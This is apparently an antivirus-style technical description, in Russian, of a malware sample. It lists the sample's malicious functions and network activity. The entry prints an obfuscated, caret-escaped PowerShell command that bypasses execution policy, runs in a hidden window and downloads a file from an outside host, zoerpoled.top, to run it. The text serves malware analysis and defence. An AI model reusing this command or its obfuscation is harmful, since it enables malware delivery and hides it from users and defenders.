Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pOWE^R^SHe^L^L^.exe^ -^e^xE^Cu^t^I^O^NPoLic^y bY^Pas^S -noprofiLE -wiNdOwsT^YlE hID^d^en (^nEw^-^O^bje^C^t s^ysT^EM.net.W^E^B^c^L^I^ENt).^doWNLoa^df^I^L^e^(^'http://www.zoerpoled.to...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pOWE^R^SHe^L^L^.exe^ -^e^xE^Cu^t^I^O^NPoLic^y bY^Pas^S -noprofiLE -wiNdOwsT^YlE hID^d^en (^nEw^-^O^bje^C^t s^ysT^EM.net.W^E^B^c^L^I^ENt).^doWNLoa^df^I^L^e^(^'http://www.zoerpoled.to...' (со скрытым окном)
